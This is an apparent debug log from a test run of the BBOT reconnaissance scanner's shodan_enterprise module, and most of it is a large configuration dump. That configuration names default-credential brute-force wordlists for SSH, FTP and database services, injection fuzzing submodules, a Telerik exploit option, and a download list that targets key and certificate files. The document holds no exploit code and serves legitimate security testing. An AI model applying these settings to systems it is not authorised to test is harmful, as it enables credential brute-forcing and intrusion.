'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_607rde1vj8'}, 'started_at': '2026-02-27T21:25:48.443345', 'status': 'RUNNING'} +2026-02-27 21:25:49,155 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 21:25:49,156 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED +2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com +2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'domain', 'in-scope', 'unresolved', 'target'} +2026-02-27 21:25:49,158 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:49,160 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:25:49,161 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_enterprise_test_607rde1vj8', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_607rde1vj8', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_607rde1vj8'}, 'started_at': '2026-02-27T21:25:48.443345', 'finished_at': '2026-02-27T21:25:49.005307', 'duration_seconds': 0.561962, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 21:25:49,164 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 21:25:49,164 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:49,166 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 21:25:49,166 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 21:27:06,366 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:27:06,376 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:27:06,378 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:27:06,379 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:27:06,380 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:27:06,383 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:27:06,384 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:27:06,387 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:27:06,388 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:27:06,389 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:27:06,389 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:27:06,391 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:27:06,391 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:27:06,393 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:27:06,393 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:27:06,394 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:27:06,396 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:27:06,397 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:27:06,398 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:27:06,399 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:27:06,400 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:27:06,402 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:27:06,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:27:06,404 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:27:06,405 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:27:06,406 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:27:06,407 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:27:06,408 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:27:06,409 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:27:06,412 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:27:06,413 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:27:06,417 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:27:06,418 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:27:06,420 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:27:06,421 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:27:06,422 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:27:06,423 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:27:06,424 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:27:06,425 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:27:06,426 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:27:06,426 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:27:06,427 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:27:06,429 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:27:06,430 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:27:06,431 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:27:06,432 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:27:06,433 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:27:06,434 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:27:06,435 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:27:06,436 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:27:06,437 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:27:06,437 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:27:06,438 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:27:06,439 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:27:06,440 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:27:06,441 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:27:06,442 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:27:06,443 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:27:06,444 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:27:06,444 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:27:06,445 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:27:06,446 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:27:06,447 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:27:06,448 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:27:06,449 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm 